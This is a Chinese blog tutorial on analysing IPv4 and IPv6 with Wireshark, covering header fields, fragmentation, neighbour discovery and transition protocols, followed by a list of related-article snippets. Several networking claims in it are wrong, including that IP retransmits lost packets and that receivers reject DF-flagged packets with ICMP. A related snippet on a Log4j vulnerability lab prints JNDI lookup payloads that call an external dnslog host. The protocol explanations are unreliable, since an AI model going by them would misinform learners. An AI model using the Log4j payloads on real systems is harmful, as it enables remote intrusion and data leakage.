基于 Wireshark 分析 IP 协议

news2024/11/26 10:43:42

一、IP 协议

IP(Internet Protocol)协议是一种网络层协议,它用于在计算机网络中实现数据包的传输和路由。

IP协议的主要功能有:

1. 数据报格式:IP协议将待传输的数据分割成一个个数据包,每个数据包包含有源地址、目的地址、数据内容和其他控制信息。

2. 路由选择:IP协议通过路由器将数据包从源地址传输到目的地址,路由器根据目的地址选择最佳路径进行传输。

3. 路由寻址:IP协议使用IP地址来标识网络中的设备和主机,通过IP地址可以确定数据包的源地址和目的地址。

4. 分组传输:IP协议将数据包分割成较小的数据片段(分组),每个分组都包含了源地址和目的地址等信息,分组可以独立传输,然后在目的地址重新组装。

5. 数据包重传:IP协议可以通过检测丢失的数据包,并进行重传,以确保数据的可靠性。

6. IP地址分配:IP协议管理和分配IP地址,确保网络中的设备可以正确地发送和接收数据包。

IP协议是互联网的核心协议之一,它通过将数据包从源地址传输到目的地址,实现了全球范围内的数据交换和通信。同时,IP协议也为其他网络协议提供了基础,如TCP、UDP等传输层协议都是在IP协议之上运行的。

二、IPv4

2.1 IPv4 头

IPv4头部是IP协议中数据包的固定部分,它包含了一系列字段,用于传输和路由数据包。IPv4头部的长度为20字节,可以扩展到最多60字节。

0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|Version|  IHL  |Type of Service|          Total Length         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         Identification        |Flags|      Fragment Offset    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  Time to Live |    Protocol   |         Header Checksum       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                       Source IP Address                       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                    Destination IP Address                     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                    Options (if any)                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

IPv4头部的字段包括:

1. 版本(Version):占4位,表示IP协议的版本,IPv4为4。

2. 首部长度(Header Length):占4位,表示IPv4头部的长度,以4字节为单位。由于IPv4头部长度是可变的,所以需要乘以4来得到实际的字节数。

3. 服务类型(Type of Service):占8位,用于指定IP包的服务质量,如优先级、延迟、吞吐量等。

4. 总长度(Total Length):占16位,表示整个IP包的长度,包括头部和数据部分。

5. 标识(Identification):占16位,用于唯一标识每个IP数据包。

6. 标志(Flags):占3位,用于标识是否分片以及分片的处理。其中最后一位为“不分片标志”,表示是否允许数据包进行分片。

7. 片偏移(Fragment Offset):占13位,表示数据包在原始数据中的位置,用于重组分片。

8. 生存时间(Time to Live):占8位,表示数据包在网络中允许经过的最大跳数,每经过一个路由器,该值减1,直到为0时被丢弃。

9. 协议(Protocol):占8位,表示上层协议的类型,如TCP、UDP、ICMP等。

10. 首部校验和(Header Checksum):占16位,用于检验IPv4头部的完整性。

11. 源IP地址(Source IP Address):占32位,表示数据包的源IP地址。

12. 目的IP地址(Destination IP Address):占32位,表示数据包的目的IP地址。

IPv4头部之后是可选的选项字段,用于提供额外的信息或进行特定的处理,长度可变。

IPv4头部的字段信息和标志位的设置对数据包的传输和路由起着关键作用,它们决定了数据包的优先级、分片处理、路由选择等。通过这些字段,IPv4协议实现了数据包的可靠传输和全球范围内的路由选择。

抓包分析

2.2 IP 分片

IP分片是指将一个较大的IP数据包拆分成多个较小的IP数据片段进行传输的过程。这是由于互联网中,不同网络设备和链路对数据包的最大传输单元(MTU)有限制,如果数据包超过MTU,就需要将其分成适合MTU大小的片段进行传输。

IP分片涉及到两个重要字段:标志(Flags)和片偏移(Fragment Offset)。

标志字段有3个位,包括:

- 最高位:保留位,始终设置为0。

- 第二位:不分片(DF,Don't Fragment)标志位,如果设置为1,表示数据包不允许分片。

- 第三位:更多分片(MF,More Fragments)标志位,如果设置为1,表示还有更多的分片。

片偏移字段占13位,表示数据片段在原始数据中的位置,以8字节为单位。

当一个数据包需要分片时,发送方将数据包分成适合MTU大小的片段,并设置标志和偏移字段。接收方在接收到这些片段后,根据标志和偏移字段进行重组,恢复原始的数据包。

重组过程包括以下步骤:

1. 接收方收到第一个片段时,它会检查不分片标志(DF)是否设置为1。如果是,表示不允许分片,那么接收方会丢弃整个数据包,并发送ICMP“分片被禁止”消息给发送方。

2. 接收方根据标志和偏移字段,将收到的片段按照片偏移进行排序。片偏移为0的片段是原始数据包的第一个片段,其他片段按照片偏移的大小进行排序。

3. 接收方根据片偏移和片段的长度,将这些片段进行重组,恢复原始的数据包。

4. 如果还有更多的分片(MF标志设置为1),接收方会继续等待后续的片段,直到收到最后一个片段(MF标志设置为0)。

5. 如果接收方在一定时间内没有收到后续片段,它会丢弃已接收的片段,并发送ICMP“分片超时”消息给发送方。

IP分片可以确保大的数据包能够在网络中正确传输,但它也增加了网络延迟和处理的复杂性。因此,在设计网络应用时,尽量避免产生大的数据包,或者使用更高层的协议(如TCP)来处理分片和重组。

三、IPv6

3.1 IPv6 包结构

以下是一个简化版的IPv6包结构表格,以及其中各个字段的含义解析:

字段名称长度(bits)描述
版本4IP协议版本号,固定为6,代表IPv6
流量类别8用于QoS(服务质量)的传输类型域
流标签20简化5元组,实现基于网络层流量识别
负载长度16IPv6负载的长度(不包括包头)
下一个包头8标识下一个包头类型或上层协议类型
跳数限制8数据包在转发过程中可以经过的最大路由器数
源地址128数据包发送方的地址
目的地址128数据包接收方的地址

IPv6包头中的这些字段共同定义了IPv6数据包的格式和传输方式。

  • 版本字段:用于标识IP协议版本,IPv6的值为6。
  • 流量类别字段:提供关于数据包优先级和QoS需求的信息,以便网络设备进行相应处理。
  • 流标签字段:用于网络流量识别,简化路由选择和其他网络操作。
  • 负载长度字段:指示IPv6包头后的数据长度,包括扩展头和上层协议数据单元。
  • 下一个包头字段:标识紧随当前包头之后的下一个包头类型或上层协议类型,用于数据包处理过程中的解析和转发。
  • 跳数限制字段:类似于IPv4的生存时间(TTL)字段,每经过一个路由器,该字段值减1,当值为0时,数据包将被丢弃,以防止数据包在网络中无限循环。
  • 源地址和目的地址字段:分别标识数据包的发送方和接收方地址,采用128位的IPv6地址格式,提供更大的地址空间。

请注意,这只是一个简化版的IPv6包头结构表格,实际的IPv6包可能还包含扩展包头和上层协议数据单元等部分。此外,IPv6包头中的某些字段可能具有更复杂的结构和功能,需要根据具体的应用场景和协议规范进行深入了解。

3.2 邻居请求

IPv6 不支持广播流量,所以解析 ARP 时会用到另一种新协议

IPv6中的邻居请求(Neighbor Solicitation,NS)是IPv6邻居发现协议(Neighbor Discovery Protocol,NDP)中的一个重要消息类型。邻居发现协议用于在IPv6中执行类似IPv4中ARP(地址解析协议)的功能,以及处理IPv6中的路由器发现和前缀重新编号等问题。

邻居请求消息的主要作用包括:

  1. 地址解析:当一个IPv6节点想要知道某个IPv6地址对应的链路层地址(如MAC地址)时,它会发送一个邻居请求消息。这个请求消息会广播到本地链路上,询问是否有节点拥有这个特定的IPv6地址。

  2. 邻居可达性检测:IPv6节点可以使用邻居请求消息来检测邻居节点是否仍然可达。这通常是通过发送一个邻居请求消息并等待相应的邻居通告(Neighbor Advertisement,NA)消息来完成的。

  3. 重复地址检测(DAD):当一个节点配置了一个新的IPv6地址时,它会发送邻居请求消息来检查该地址是否已经被网络上的其他节点使用。如果收到邻居通告消息,则说明该地址已经被使用,节点需要选择一个新的地址。

邻居请求消息的格式如下:

  • 类型:标识消息类型为邻居请求。
  • 代码:对于邻居请求消息,此字段通常设置为0。
  • 校验和:用于验证消息的完整性。
  • 目标地址:节点想要解析其链路层地址的IPv6地址。
  • 选项:可以包含各种附加信息,如源链路层地址选项(用于在响应中包含发送方的链路层地址)。

当一个节点发送邻居请求消息时,它会等待一段时间以接收可能的邻居通告消息。如果没有收到响应,或者响应表明目标地址不可用,节点会采取相应的操作,如重新配置地址或标记目标节点为不可达。

邻居请求和邻居通告消息一起,在IPv6中实现了地址解析、邻居可达性检测和重复地址检测等关键功能,确保了IPv6网络中的节点能够高效、准确地发现和维护邻居节点的信息。

如果对应请求报文

邻居通告报文

关于 Flags 字段解释:

  • Router (设置): 这个标志位表明发送该消息的设备是一个路由器。在IPv6中,路由器会设置这个标志位,以便网络中的其他节点能够知道它们可以通过这个设备到达其他网络。

  • Solicited (设置): 这个标志位表示该消息是对之前的一个请求的直接响应。在邻居发现过程中,当一个节点发送邻居请求消息时,收到该请求的邻居节点会在其响应的邻居通告消息中设置Solicited标志位,以指示这是一个对请求的响应。

  • Override (设置): 这个标志位用于处理地址解析中的冲突。当设备收到一个邻居通告消息时,如果它已经有一个关于目标IPv6地址的缓存条目,并且该条目的链路层地址与通告中的不同,那么Override标志位决定了是否应该更新缓存中的链路层地址。如果Override标志位被设置,那么缓存中的条目将被更新为通告中的链路层地址。

  • Reserved (值为0): 这个字段是保留字段,用于将来的扩展。当前其值被设置为0,表示没有使用任何保留位。

3.3 IPv6 分片

在IPv6中,与IPv4不同,IPv6数据包的分片过程更加简化,因为IPv6要求中间网络设备(如路由器)必须支持最大传输单元(MTU)的路径发现和通告,以确保数据包不需要进行分片。

IPv6头部中没有像IPv4中的分片字段(标志和片偏移),而是引入了"分片扩展头部"(Fragment Header)来处理分片。

IPv6分片的过程如下:

1. 发送方根据所需的MTU大小,将数据包进行分片。

2. 发送方在原始IPv6头部后添加一个或多个分片扩展头部,每个分片扩展头部对应一个分片。

3. 每个分片扩展头部包含了分片的顺序编号(Fragment Offset)和更多分片(MF)标志位。

4. 接收方通过检查分片扩展头部来确定是否存在分片,并按顺序重组分片。

5. 接收方根据分片扩展头部中的顺序编号将分片按照正确的顺序重组成原始数据包。

6. 如果还有更多分片,接收方会等待后续的分片,直到收到最后一个分片(MF标志位设置为0)。

7. 如果接收方在一定时间内没有收到后续分片,它会丢弃已接收的分片,并且不会发送任何分片超时的消息。

需要注意的是,IPv6中的分片是端到端的,也就是说,只有发送方和接收方之间进行分片和重组,中间的路由器不会进行分片操作。这使得IPv6网络中的路由器更加简化,提高了路由器的性能和可扩展性。

由于IPv6中的分片是在端到端进行的,因此在设计网络应用时,应该尽量避免产生大的IPv6数据包,以减少分片的需求,从而提高网络性能和可靠性。

3.4 IPv6 转换协议

IPv6转换协议(IPv6 Transition Protocols)是一组协议和机制,用于实现IPv6和IPv4之间的互操作性和平滑过渡。这些协议和机制旨在帮助IPv4和IPv6网络之间进行通信,并逐步过渡到纯IPv6网络。

以下是一些常见的IPv6转换协议:

1. IPv6 over IPv4 Tunneling(IPv6通过IPv4隧道传输):
   - 6to4:将IPv6数据包封装在IPv4数据包中,通过IPv4网络进行传输,以实现IPv4到IPv6的通信。
   - ISATAP(Intra-Site Automatic Tunnel Addressing Protocol):通过IPv4网络创建虚拟的IPv6链路,使IPv6主机能够直接通信。
   - Teredo:通过UDP隧道在IPv4网络上传输IPv6数据包,允许IPv6主机在IPv4网络上进行全球IPv6连接。

2. IPv6 over IPv4 Translation(IPv6通过IPv4地址转换):
   - NAT64(Network Address Translation 64):使用IPv6地址和IPv4地址之间的转换,实现IPv6主机与IPv4主机之间的通信。
   - SIIT(Stateless IP/ICMP Translation):无状态的IPv6和IPv4地址转换技术,通过映射IPv6地址和IPv4地址来实现互操作性。

3. Dual Stack(双栈):
   - 在支持IPv6的网络设备上同时启用IPv4和IPv6协议栈,以实现IPv4和IPv6之间的双向通信。

4. IPv6/IPv4 Proxy(IPv6/IPv4代理):
   - 在IPv4环境中,代理服务器接收IPv6请求,并将其转换为IPv4请求,并将IPv4响应转换为IPv6响应,以实现IPv6和IPv4之间的通信。

这些IPv6转换协议和机制提供了不同的方式来促进IPv4和IPv6之间的互通性和平滑过渡。它们可以在IPv4和IPv6之间提供中间解决方案,使得在网络升级和过渡期间能够继续进行通信,并逐步迁移到纯IPv6环境。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1639460.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Ant Design助力:实现用户列表的优雅展示与管理

文章目录 概要前端讲解登录组件注册组件用户列表组件 后端讲解连接数据库db.js路由routes.jsexpress应用app.js 启动项目小结 概要 在上一篇博客🚪中,我们已经成功实现了登录注册系统的基本功能。现在,我们将进一步完善系统,实现…

第一课 自动驾驶概述

1. contents 2. 什么是无人驾驶/自动驾驶 3 智慧出行大智慧 4. 无人驾驶的发展历程

用户中心(末)

文章目录 开发用户注销前后端后端前端 补充用户注册校验逻辑前后端设计后端前端 后端代码优化封装通用返回对象封装全局异常处理全局请求日志和登录校验 TODO 前端代码优化 开发用户注销前后端 后端 当用户登录成功之后,我们在请求体的 session 中保存了用户的登录…

一对一WebRTC视频通话系列(一)—— 创建页面并显示摄像头画面

本系列博客主要记录WebRtc实现过程中的一些重点&#xff0c;代码全部进行了注释&#xff0c;便于理解WebRTC整体实现。 一、创建html页面 简单添加input、button、video控件的布局。 <html><head><title>WebRTC demo</title></head><h1>…

vue2(4)之scoped解决样式冲突/组件通信/非父子通信/ref和$refs/异步更新/.sync/事件总线/provide和inject

vue2 一、学习目标1.组件的三大组成部分&#xff08;结构/样式/逻辑&#xff09;2.组件通信3.综合案例&#xff1a;小黑记事本&#xff08;组件版&#xff09;4.进阶语法 二、scoped解决样式冲突**1.默认情况**&#xff1a;2.代码演示3.scoped原理4.总结 三、data必须是一个函数…

自动驾驶规划与控制技术解析

目录 1. 自动驾驶技术 2.定位location 3. 地图HD Map ​编辑 4 预测prediction 5 自动驾驶路径规划 6. 自动驾驶路径规划 7. 规划planning 8. 视频路径 1. 自动驾驶技术 2.定位location 3. 地图HD Map 4 预测prediction 5 自动驾驶路径规划 6. 自动驾驶路径规划 7.…

IDEA 2022.1版本开始,可以直接运行Markdown里的命令行

参照这种格式&#xff1a; shell mvn clean install注意idea支持的版本&#xff1a;是从 2022.1版本开始的。 ps&#xff1a;之前有人写过了&#xff0c;感觉很实用但是蛮多开发者不一定会知道的功能。 参考资料&#xff1a; https://www.cnblogs.com/didispace/p/16144107.h…

2.4Java全栈开发前端+后端(全栈工程师进阶之路)-前端框架VUE3-基础-Vue组件

初识Vue组件 Vue中的组件是页面中的一部分&#xff0c;通过层层拼装&#xff0c;最终形成了一个完整的组件。这也是目前前端最流行的开发方 式。下面是Vue3官方给出的一张图&#xff0c;通过图片能清楚的了解到什么是Vue中的组件。 图的左边是一个网页&#xff0c;网页分为了…

革新DNA存储:DNA-QLC编码方案高效可靠,多媒体图像存储新时代启航

在数字信息爆炸的时代&#xff0c;传统存储介质正面临容量、持久性和能耗的极限挑战。为此&#xff0c;大连理工大学计算机科学与技术学院的研究团队在《BMC基因组学》发表了一篇开创性论文&#xff0c;介绍了一种名为DNA-QLC的创新编码方案&#xff0c;为DNA存储系统的高效性和…

基于免疫粒子群算法的考虑负荷需求相应的热电联供系统优化调度(MATLAB实现)

1.研究背景 随着“双碳”战略的提出&#xff0c;各种分布式能源的开发和利用收到越来越多的重视。冷热电联供(Combined Cooling Heating and Power, CCHP)系统在发电的同时可以将燃气轮机产生的废热用于制热或制冷&#xff0c;实现能量的梯级利用&#xff0c;并减少系统的污染气…

【热门话题】PostCSS:现代前端开发中的CSS增强工具

&#x1f308;个人主页: 鑫宝Code &#x1f525;热门专栏: 闲话杂谈&#xff5c; 炫酷HTML | JavaScript基础 ​&#x1f4ab;个人格言: "如无必要&#xff0c;勿增实体" 文章目录 PostCSS&#xff1a;现代前端开发中的CSS增强工具一、引言二、PostCSS简介2.1 核…

前端工程化04-VsCode插件设置总结(持续更)

1、输出语句log设置 log输出、平常你输出log,还必须得打一个console然后再.log()非常不方便&#xff0c;当然我们可以直接输入一个log,但是提示有两个&#xff0c;我们还得上下选择 所以我们直接采用插件的提示 一个clg就可以了 2、括号包裹提示 找到VsCode的settings.js文…

学习java的继承

1.什么是继承 java中提供了一个关键字&#xff0c;extends&#xff0c;可以让一个类与另一个类建立起父子关系。 例如 public class B extends A { --- } 在这里&#xff0c;我们称A类为父类&#xff08;也被称为基类或者超类&#xff09;B类称为子类&#xff08;或者是派生…

汉王科技亮相世界数字健康论坛:以AI定义第四代血压计

作为科技行业的年度盛会&#xff0c;2024年中关村论坛年会于近日在北京揭幕。 作为中关村知名的人工智能企业&#xff0c;汉王科技携大模型的最新垂直应用、柯氏音法电子血压计等创新成果&#xff0c;在4月29日中关村论坛平行论坛“2024世界数字健康论坛”上亮相。 在《AI赋能血…

C语言/数据结构——每日一题(反转链表)

一.前言 大家好&#xff01;今天又是每日一题环节。今天我为大家分享了一道单链表题——反转链表。 废话不多说&#xff0c;让我们直接进入正题吧。 二.正文 1.1题目信息 这是一道leetCode上面的一道题&#xff1a;https://leetcode.cn/problems/reverse-linked-list 1.2解…

[技术小技巧] 可视化分析:在jupyter中使用d3可视化树形结构

首先在python中定义一个字符串&#xff0c;记录d3.js绘制属性图的js脚本代码模版。其中{{data}}就是将来要被替换的内容。 d3_code_template """ // 创建树状结构数据 var treeData {{data}};// 创建d3树布局 var margin { top: 20, right: 90, bottom: 30,…

云原生Kubernetes: K8S 1.29版本 部署Harbor

目录 一、实验 1.环境 2.Linux 部署docker compose 3.证书秘钥配置 4.K8S 1.29版本 部署Harbor 5.K8S 1.29版本 使用Harbor 二、问题 1.docker 登录harbor失败 一、实验 1.环境 &#xff08;1&#xff09;主机 表1 主机 主机架构版本IP备注masterK8S master节点1.2…

使用CNN或resnet,分别在flower5,flower17,flower102数据集上实现花朵识别分类-附源码-免费

前言 使用cnn和resnet实现了对flower5&#xff0c;flower17&#xff0c;flower102数据集上实现花朵识别分类。也就是6份代码&#xff0c;全部在Gitee仓库里&#xff0c;记得点个start支持谢谢。 本文给出flower17在cnn网络实现&#xff0c;flower102在resnet网络实现的代码。…

BJFUOJ-C++程序设计-实验3-继承和虚函数

A TableTennisPlayer 答案&#xff1a; #include<iostream> #include<cstring> using namespace std;class TableTennisPlayer{ private:string firstname;string lastname;bool hasTable;public:TableTennisPlayer(const string &, const string &, bool…

VULHUB复现log4j反序列化漏洞-CVE-2021-44228

本地下载vulhub复现就完了&#xff0c;环境搭建不讲&#xff0c;网上其他文章很好。 访问该环境&#xff1a; POC 构造&#xff08;任选其一&#xff09;&#xff1a; ${jndi:ldap://${sys:java.version}.xxx.dnslog.cn} ${jndi:rmi://${sys:java.version}.xxx.dnslog.cn}我是…